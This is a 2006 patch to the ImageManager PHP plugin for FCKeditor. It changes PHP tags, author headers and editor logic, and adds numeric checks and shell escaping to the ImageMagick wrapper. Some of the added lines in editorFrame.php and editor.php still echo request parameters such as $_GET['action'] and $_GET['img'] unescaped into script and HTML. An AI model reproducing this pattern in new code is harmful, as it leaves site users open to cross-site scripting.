++       * @return boolean true if deleted, false otherwise.
++       */
++      function delFile($file) 
++      {
++              if(is_file($file)) 
++                      Return unlink($file);
++              else
++                      Return false;
++      }
++
++      /**
++       * Delete folder(s), can delete recursively.
++       * @param string $folder the folder to be deleted.
++       * @param boolean $recursive if true, all files and sub-directories
++       * are delete. If false, tries to delete the folder, can throw
++       * error if the directory is not empty.
++       * @return boolean true if deleted.
++       */
++      function delFolder($folder, $recursive=false) 
++      {
++              $deleted = true;
++              if($recursive) 
++              {
++                      $d = dir($folder);
++                      while (false !== ($entry = $d->read())) 
++                      {
++                              if ($entry != '.' && $entry != '..')
++                              {
++                                      $obj = Files::fixPath($folder).$entry;
++                                      //var_dump($obj);
++                                      if (is_file($obj))
++                                      {
++                                              $deleted &= Files::delFile($obj);                                       
++                                      }
++                                      else if(is_dir($obj))
++                                      {
++                                              $deleted &= Files::delFolder($obj, $recursive);
++                                      }
++                                      
++                              }
++                      }
++                      $d->close();
++
++              }
++
++              //$folder= $folder.'/thumbs';
++              //var_dump($folder);
++              if(is_dir($folder)) 
++                      $deleted &= rmdir($folder);
++              else
++                      $deleted &= false;
++
++              Return $deleted;
++      }
++
++      /**
++       * Append a / to the path if required.
++       * @param string $path the path
++       * @return string path with trailing /
++       */
++      function fixPath($path) 
++      {
++              //append a slash to the path if it doesn't exists.
++              if(!(substr($path,-1) == '/'))
++                      $path .= '/';
++              Return $path;
++      }
++
++      /**
++       * Concat two paths together. Basically $pathA+$pathB
++       * @param string $pathA path one
++       * @param string $pathB path two
++       * @return string a trailing slash combinded path.
++       */
++      function makePath($pathA, $pathB) 
++      {
++              $pathA = Files::fixPath($pathA);
++              if(substr($pathB,0,1)=='/')
++                      $pathB = substr($pathB,1);
++              Return Files::fixPath($pathA.$pathB);
++      }
++
++      /**
++       * Similar to makePath, but the second parameter
++       * is not only a path, it may contain say a file ending.
++       * @param string $pathA the leading path
++       * @param string $pathB the ending path with file
++       * @return string combined file path.
++       */
++      function makeFile($pathA, $pathB) 
++      {               
++              $pathA = Files::fixPath($pathA);
++              if(substr($pathB,0,1)=='/')
++                      $pathB = substr($pathB,1);
++              
++              Return $pathA.$pathB;
++      }
++
++      
++      /**
++       * Format the file size, limits to Mb.
++       * @param int $size the raw filesize
++       * @return string formated file size.
++       */
++      function formatSize($size) 
++      {
++              if($size < 1024) 
++                      return $size.' bytes';  
++              else if($size >= 1024 && $size < 1024*1024) 
++                      return sprintf('%01.2f',$size/1024.0).' Kb';    
++              else
++                      return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/ImageEditor.php ./Classes/ImageEditor.php
+--- /ImageManager_20062020/Classes/ImageEditor.php     2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/ImageEditor.php  2006-12-20 19:34:11.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * Image Editor. Editing tools, crop, rotate, scale and save.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -11,8 +11,8 @@
+ /**
+  * Handles the basic image editing capbabilities.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  * @subpackage Editor
+  */
+@@ -243,18 +243,18 @@
+                                               //get unique filename just returns the filename, so
+                                               //we need to make the relative path again.
+                                               $newSaveFile = $this->makeRelative($relative, $newName);
+-
+-                                              // forced new name?
+-                                              if ($oldSaveFile != $newSaveFile)
+-                                              {
+-                                                      $this->forcedNewName = $newName;
+-                                              }
+-                                              else
+-                                              {
+-                                                      $this->forcedNewName = false;
+-                                              }
+                                       }
++                                      // forced new name?
++                                      if ($oldSaveFile != $newSaveFile)
++                                      {
++                                              $this->forcedNewName = $newName;
++                                      }
++                                      else
++                                      {
++                                              $this->forcedNewName = false;
++                                      }
++                                              
+                                       $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+                                       $img->save($newSaveFullpath, $values[0], $quality);
+                                       if(is_file($newSaveFullpath))
+@@ -582,4 +582,4 @@
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/ImageManager.php ./Classes/ImageManager.php
+--- /ImageManager_20062020/Classes/ImageManager.php    2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/ImageManager.php 2006-12-21 22:28:00.000000000 +0100
+@@ -1,17 +1,18 @@
+-<?
++<?php
+ /**
+  * ImageManager, list images, directories, and thumbnails.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+ require_once('Files.php');
++require_once('Transform.php');
+ /**
+  * ImageManager Class.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  */
+ class ImageManager 
+ {
+@@ -341,7 +342,7 @@
+       function validRelativePath($path) 
+       {
+               $dirs = $this->getDirs();
+-              if($path == '/')
++              if($path == '/' || $path == '')
+                       Return true;
+               //check the path given in the url against the 
+               //list of paths in the system.
+@@ -430,6 +431,22 @@
+               $path = Files::makePath($this->getBaseDir(),$relative);
+               $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
++       // constrain image size
++       if(!is_int($result))
++       {
++           $img = Image_Transform::factory(IMAGE_CLASS);
++           $img->load($path . $result);
++
++           // If maximum size is specified, constrain image to it.
++           if ($this->config['maxWidth'] > 0 && $this->config['maxHeight'] > 0 && ($img->img_x > $this->config['maxWidth'] || $img->img_y > $this->config['maxHeight']))
++           {
++               $percentage = min($this->config['maxWidth']/$img->img_x, $this->config['maxHeight']/$img->img_y);
++               $img->scale($percentage);
++           }
++           $img->save($path . $result);
++           $img->free();
++       }
++       
+               //no copy error
+               if(!is_int($result))
+               {
+@@ -674,4 +691,4 @@
+       }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/Classes/IM.php ./Classes/IM.php
+--- /ImageManager_20062020/Classes/IM.php      2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/IM.php   2006-12-19 22:14:36.000000000 +0100
+@@ -25,7 +25,7 @@
+ // | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+ // +----------------------------------------------------------------------+
+ //
+-// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ //
+ // Image Transformation interface using command line ImageMagick
+ //
+@@ -79,10 +79,14 @@
+      */
+     function _resize($new_x, $new_y)
+     {
++              // prevent illegal data
++              if (!is_numeric($new_x)) die("new X must be numeric");
++              if (!is_numeric($new_y)) die("new Y must be numeric");
++
+         /*if (isset($this->command['resize'])) {
+             return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+         }*/
+-        $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
++        $this->command['resize'] = "-geometry {$new_x}x{$new_y}!";
+         $this->new_x = $new_x;
+         $this->new_y = $new_y;
+@@ -98,6 +102,10 @@
+      */
+     function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+     {
++              if (!is_numeric($crop_x)) die("crop_x must be numeric");
++              if (!is_numeric($crop_y)) die("crop_y must be numeric");
++              if (!is_numeric($crop_width)) die("crop_width must be numeric");
++              if (!is_numeric($crop_height)) die("crop_height must be numeric");
+         $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+     }
+@@ -122,6 +130,7 @@
+      */
+     function rotate($angle, $options=null)
+     {
++        if (!is_numeric($angle)) die("angle must be numeric");
+         if ('-' == $angle{0}) {
+             $angle = 360 - substr($angle, 1);
+         }
+@@ -164,6 +173,13 @@
+          } else {
+             $key = 'text';
+          }
++               // test input params
++         if (!is_numeric($x)) die("x must be numeric");
++         if (!is_numeric($y)) die("y must be numeric");
++         // escape others
++         $font = escapeshellarg($font);
++         $color = escapeshellarg($color);
++         $text = escapeshellarg($text);
+          $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+          // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+     } // End addText
+@@ -176,6 +192,7 @@
+      * @return none
+      */
+     function gamma($outputgamma=1.0) {
++        if (!is_numeric($outputgamma)) die("outputgamma must be numeric");
+         $this->command['gamma'] = "-gamma $outputgamma";
+     }
+@@ -190,6 +207,7 @@
+      */
+     function save($filename, $type='', $quality = 85)
+     {
++        if (!is_numeric($quality)) die("quality must be numeric");
+         $type == '' ? $this->type : $type;
+         $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+               $cmd .= implode(' ', $this->command) . " -quality $quality ";
+@@ -210,6 +228,7 @@
+      */
+     function display($type = '', $quality = 75)
+     {
++        if (!is_numeric($quality)) die("quality must be numeric");
+         if ($type == '') {
+             header('Content-type: image/' . $this->type);
+             passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+diff -u -r /ImageManager_20062020/Classes/Thumbnail.php ./Classes/Thumbnail.php
+--- /ImageManager_20062020/Classes/Thumbnail.php       2006-06-20 22:17:34.000000000 +0200
++++ ./Classes/Thumbnail.php    2006-12-16 22:38:13.000000000 +0100
+@@ -1,125 +1,125 @@
+-<?
++<?php
+ /**
+  * Create thumbnails.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+-
+-require_once('Transform.php');
++
++require_once('Transform.php');
+ /**
+  * Thumbnail creation
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  * @subpackage Images
+  */
+-class Thumbnail 
+-{
+-      /**
+-       * Graphics driver, GD, NetPBM or ImageMagick.
+-       */
+-      var $driver;
+-
+-      /**
+-       * Thumbnail default width.
+-       */
+-      var $width = 96;
+-
+-      /**
+-       * Thumbnail default height.
+-       */
+-      var $height = 96;
+-
+-      /**
+-       * Thumbnail default JPEG quality.
+-       */
+-      var $quality = 85;
+-
+-      /**
+-       * Thumbnail is proportional
+-       */
+-      var $proportional = true;
+-
+-      /**
+-       * Default image type is JPEG.
+-       */
+-      var $type = 'jpeg';
+-
+-      /**
+-       * Create a new Thumbnail instance.
+-       * @param int $width thumbnail width
+-       * @param int $height thumbnail height
+-       */
+-      function Thumbnail($width=96, $height=96) 
+-      {
+-              $this->driver = Image_Transform::factory(IMAGE_CLASS);
+-              $this->width = $width;
+-              $this->height = $height;
+-      }
+-
+-      /**
+-       * Create a thumbnail.
+-       * @param string $file the image for the thumbnail
+-       * @param string $thumbnail if not null, the thumbnail will be saved
+-       * as this parameter value.
+-       * @return boolean true if thumbnail is created, false otherwise
+-       */
+-      function createThumbnail($file, $thumbnail=null) 
+-      {
+-              if(!is_file($file)) 
+-                      Return false;
+-
+-              //error_log('Creating Thumbs: '.$file);
+-
+-              $this->driver->load($file);
+-
+-              if($this->proportional) 
+-              {
+-                      $width = $this->driver->img_x;
+-                      $height = $this->driver->img_y;
+-
+-                      if ($width > $height)
+-                              $this->height = intval($this->width/$width*$height);
+-                      else if ($height > $width)
+-                              $this->width = intval($this->height/$height*$width);
+-              }
+-
+-              $this->driver->resize($this->width, $this->height);
+-
+-              if(is_null($thumbnail)) 
+-                      $this->save($file);
+-              else
+-                      $this->save($thumbnail);
+-
+-
+-              $this->free();
+-
+-              if(is_file($thumbnail)) 
+-                      Return true;
+-              else
+-                      Return false;
+-      }
+-
+-      /**
+-       * Save the thumbnail file.
+-       * @param string $file file name to be saved as.
+-       */
+-      function save($file) 
+-      {
+-              $this->driver->save($file);
+-      }
+-
+-      /**
+-       * Free up the graphic driver resources.
+-       */
+-      function free() 
+-      {
+-              $this->driver->free();
+-      }
++class Thumbnail 
++{
++      /**
++       * Graphics driver, GD, NetPBM or ImageMagick.
++       */
++      var $driver;
++
++      /**
++       * Thumbnail default width.
++       */
++      var $width = 96;
++
++      /**
++       * Thumbnail default height.
++       */
++      var $height = 96;
++
++      /**
++       * Thumbnail default JPEG quality.
++       */
++      var $quality = 85;
++
++      /**
++       * Thumbnail is proportional
++       */
++      var $proportional = true;
++
++      /**
++       * Default image type is JPEG.
++       */
++      var $type = 'jpeg';
++
++      /**
++       * Create a new Thumbnail instance.
++       * @param int $width thumbnail width
++       * @param int $height thumbnail height
++       */
++      function Thumbnail($width=96, $height=96) 
++      {
++              $this->driver = Image_Transform::factory(IMAGE_CLASS);
++              $this->width = $width;
++              $this->height = $height;
++      }
++
++      /**
++       * Create a thumbnail.
++       * @param string $file the image for the thumbnail
++       * @param string $thumbnail if not null, the thumbnail will be saved
++       * as this parameter value.
++       * @return boolean true if thumbnail is created, false otherwise
++       */
++      function createThumbnail($file, $thumbnail=null) 
++      {
++              if(!is_file($file)) 
++                      Return false;
++
++              //error_log('Creating Thumbs: '.$file);
++
++              $this->driver->load($file);
++
++              if($this->proportional) 
++              {
++                      $width = $this->driver->img_x;
++                      $height = $this->driver->img_y;
++
++                      if ($width > $height)
++                              $this->height = intval($this->width/$width*$height);
++                      else if ($height > $width)
++                              $this->width = intval($this->height/$height*$width);
++              }
++
++              $this->driver->resize($this->width, $this->height);
++
++              if(is_null($thumbnail)) 
++                      $this->save($file);
++              else
++                      $this->save($thumbnail);
++
++
++              $this->free();
++
++              if(is_file($thumbnail)) 
++                      Return true;
++              else
++                      Return false;
++      }
++
++      /**
++       * Save the thumbnail file.
++       * @param string $file file name to be saved as.
++       */
++      function save($file) 
++      {
++              $this->driver->save($file);
++      }
++
++      /**
++       * Free up the graphic driver resources.
++       */
++      function free() 
++      {
++              $this->driver->free();
++      }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/config.inc.php ./config.inc.php
+--- /ImageManager_20062020/config.inc.php      2006-06-20 22:17:32.000000000 +0200
++++ ./config.inc.php   2006-12-20 19:39:39.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * Image Manager configuration file.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -16,7 +16,7 @@
+        PHP must be able to create files in this directory.
+          Able to create directories is nice, but not necessary.
+ */
+-#$IMConfig['base_dir'] = '/var/www/FCKeditor/images/';
++$IMConfig['base_dir'] = '/var/www/FCKeditor/images/';
+ /*
+  The URL to the above path, the web browser needs to be able to see it.
+@@ -27,8 +27,7 @@
+  in this directory and its subdirectories.
+ */
+ $IMConfig['base_url'] = 'http://www.saulmade.nl/FCKeditor/images/';
+-//$IMConfig['base_dir'] = $_SERVER['DOCUMENT_ROOT'].$IMConfig['base_url'];
+-$IMConfig['base_dir'] = '/home/saulmade.nl/www/FCKeditor/images/';
++
+ $IMConfig['server_name'] = $_SERVER['SERVER_NAME'];
+ /*
+@@ -152,10 +151,7 @@
+   Specifying none will hide watermarking functionality.
+ */
+ $IMConfig['watermarks'] = array       (
+-                                                                                                      "imageManager.png",
+-                                                                                                      "imageManager.jpg",
+-                                                                                                      "devshed.png",
+-                                                                                                      "natureWatermark.png"
++                                                                                                      "imageManager.png"
+                                                                                               );
+ /*
+@@ -194,4 +190,4 @@
+   Image Editor temporary filename prefix.
+ */
+ $IMConfig['tmp_prefix'] = '.editor_';
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/editorFrame.php ./editorFrame.php
+--- /ImageManager_20062020/editorFrame.php     2006-06-20 22:17:32.000000000 +0200
++++ ./editorFrame.php  2006-12-20 19:19:28.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+       /**
+        * The frame that contains the image to be edited.
+-       * @author $Author: matrix $
+-       * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+-       * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++       * @author Wei Zhuo
++       * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++       * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+        * @package ImageManager
+        */
+@@ -49,7 +49,7 @@
+ <script type="text/javascript">
+ // <![CDATA[
+-      var processedAction = "<?=$_GET['action']?>";
++      var processedAction = "<?php echo (isset($_GET['action']) ? $_GET['action'] : ''); ?>";
+       if (processedAction == 'replace' && parent.old)
+       {
+@@ -101,8 +101,8 @@
+ <script type="text/javascript">
+-      var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+-      var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
++      var mode = "<?php echo $editor->getAction(); ?>" //crop, scale, measure
++      var currentImageFile = "<?php if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+       if(window.top)
+       {
+@@ -120,7 +120,7 @@
+ </script>
+ <script type="text/javascript">
+-<?
++<?php
+       if ($editor->isFileSaved() == 1)
+       {
+ ?>
+@@ -159,28 +159,32 @@
+       // save message
+       var message = i18n('File saved.');
+-<?
++<?php
+       if ($editor->forcedNewName != false)
+       {
+ ?>
+-      message += '\n' + i18n('File name was changed into ') +  '<?=$editor->forcedNewName?>';
+-<?
++      message += '\n' + i18n('File name was changed into ') +  '<?php echo $editor->forcedNewName; ?>';
++<?php
+       }
+ ?>
+       alert(message);
+-<?
++<?php
+       }
+       else if ($editor->isFileSaved() == -1)
+       {
+ ?>
+       alert(i18n('File was not saved.'));
+-<?
++<?php
+       }
+ ?>
+       // show action buttons and current action's controls - were hidden during processing
+       if (processedAction != '')
+       {
++              if ('flip' == processedAction)
++              {
++                      processedAction = 'rotate';
++              }
+               var tools = parent.document.getElementById('tools_' + processedAction);
+               tools.style.display = 'block';
+               var buttons = parent.document.getElementById('buttons');
+@@ -193,12 +197,12 @@
+       imagesArray = new Array();
+       // first clear all its options
+       watermarkBox.options.length = 0;
+-<?
++<?php
+       foreach($IMConfig['watermarks'] as $watermark)
+       {
+               $watermarkInfo = @getImageSize($IMConfig['base_dir'] . $watermark);
+               // populate
+-              if ($watermarkInfo[0] < $imageInfo[width] && $watermarkInfo[1] < $imageInfo[height])
++              if ($watermarkInfo[0] < $imageInfo['width'] && $watermarkInfo[1] < $imageInfo['height'] && $watermarkInfo[0] != '')
+               {
+                       $pos = strrpos(basename($watermark), ".");
+                       $filename = substr(basename($watermark), 0, $pos);
+@@ -243,23 +247,25 @@
+ <body>
+ <div id="status"></div>
+ <div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+-<? if ($editor->isGDEditable() == -1) { ?>
++<?php if ($editor->isGDEditable() == -1) { ?>
+       <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+-<? } ?>
++<?php } ?>
+ <table height="100%" width="100%">
+       <tr>
+               <td>
+-<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
++<?php if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+-              <div id="background" name="background" style="margin: auto; width: <? echo $imageInfo['width']; ?>px; height: <? echo $imageInfo['height']; ?>px; background-image: url(<? echo $imageInfo['src']; ?>);">
+-                      <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?= $IMConfig['base_url'] . $IMConfig['watermarks'][0] ?>" />
++              <div id="background" name="background" style="margin: auto; width: <?php echo $imageInfo['width']; ?>px; height: <?php echo $imageInfo['height']; ?>px; background-image: url(<?php echo $imageInfo['src']; ?>);">
++              <?php if (count($IMConfig['watermarks']) > 0) { ?>
++                      <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?php echo $IMConfig['base_url'] . $IMConfig['watermarks'][0]; ?>" />
++              <?php } ?>
+               </div>
+-              <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
++              <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<?php echo $imageInfo['src']; ?>" <?php echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
+-<? } else { ?>
++<?php } else { ?>
+                               <span class="error">No Image Available</span>
+-<? } ?>
++<?php } ?>
+               </td>
+       </tr>
+ </table>
+@@ -279,13 +285,13 @@
+               verifyBounds();
+               dd.elements.floater.nimg.style.behavior = "url('assets/pngbehavior.htc')";
+-<?
++<?php
+       if (isset($_GET['action']))
+       {
+               if ($_GET['action'] == "watermark")
+               {?>
+                               dd.elements.floater.show();
+-              <?}
++              <?php }
+       }
+ ?>
+       }
+@@ -306,4 +312,4 @@
+ // ]]>
+ </script>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/editor.php ./editor.php
+--- /ImageManager_20062020/editor.php  2006-06-20 22:17:32.000000000 +0200
++++ ./editor.php       2006-12-17 14:53:34.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * The PHP Image Editor user interface.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+  * @package ImageManager
+  */
+@@ -79,9 +79,9 @@
+               <table>
+               <tr>
+                       <td>
+-                              <form action="editorFrame.php?img=<?=$_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
++                              <form action="editorFrame.php?img=<?php echo $_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
+                                       &nbsp;<input type="file" name="upload" id="upload"/>
+-                                      <input type="hidden" name="dir" id="dir" value="<?=dirname($img)?>" />
++                                      <input type="hidden" name="dir" id="dir" value="<?php echo dirname($_GET['img'])?>" />
+                               </form>
+                       </td>
+                       <td>
+@@ -189,7 +189,7 @@
+               <option value="90">Rotate 90 &deg; CW</option>
+               <option value="-90">Rotate 90 &deg; CCW</option>
+          </select>
+-                      <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
++                      <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" value="0"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+@@ -219,32 +219,32 @@
+       </div>
+       <div id="tools_save" style="display:none;">
+-<? if($IMConfig['demo'] != true) { ?>
++<?php if($IMConfig['demo'] != true) { ?>
+               <div id="tool_inputs">
+-      <? if($IMConfig['allow_newFileName'] == true) { ?>
+-                      <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
+-      <? }else{ ?>
+-                      <input type="hidden" id="save_filename" value="<? echo basename($_GET['img']); ?>" />
+-      <? } ?>
++      <?php if($IMConfig['allow_newFileName'] == true) { ?>
++                      <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<?php if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
++      <?php }else{ ?>
++                      <input type="hidden" id="save_filename" value="<?php echo basename($_GET['img']); ?>" />
++      <?php } ?>
+-      <?
++      <?php
+       $pos = strrpos($_GET['img'], ".");
+       $ext = substr($_GET['img'], $pos + 1);
+       ?>
+-                      <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <? if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
++                      <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <?php if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
+             <option value="" selected>Image Format</option>
+             <option value="">---------------------</option>
+             <option value="jpeg,85">JPEG High</option>
+             <option value="jpeg,60">JPEG Medium</option>
+             <option value="jpeg,35">JPEG Low</option>
+-                      <? if($IMConfig['allow_newFileName'] == true){ ?>
++                      <?php if($IMConfig['allow_newFileName'] == true){ ?>
+             <option value="png">PNG</option>
+-                      <?    if($editor->isGDGIFAble() != -1) { ?>
++                      <?php    if($editor->isGDGIFAble() != -1) { ?>
+             <option value="gif">GIF</option>
+-                      <?    } ?>
+-                      <? } ?>
++                      <?php    } ?>
++                      <?php } ?>
+                       </select>
+                       <label>Quality:</label>
+@@ -263,21 +263,21 @@
+               </div>  
+               <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+-      <? }else{ ?>
++      <?php }else{ ?>
+               <div id="tool_inputs" style="text-align: center; width: 90%; font-size: 150%; font-weight: bold; letter-spacing: 3px; color: #474767;">
+                       <label>Demo</label>
+               </div>  
+-      <? } ?>
++      <?php } ?>
+       </div>  
+ </div>
+ <div id="toolbar">
+       <div id="buttons">
+-              <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <? if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
+-              <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <? if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
++              <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <?php if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
++              <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <?php if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
+               <a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+               <a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+               <a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+@@ -288,8 +288,8 @@
+ </div>
+ <div id="contents">
+ <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+-<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
++<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+ </div>
+ <div id="bottom"></div>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/fckplugin.js ./fckplugin.js
+--- /ImageManager_20062020/fckplugin.js        2006-06-20 22:17:32.000000000 +0200
++++ ./fckplugin.js     2006-12-21 22:39:28.000000000 +0100
+@@ -8,6 +8,7 @@
+ // PHP image manager http://www.zhuo.org/htmlarea/
+ // ================================================
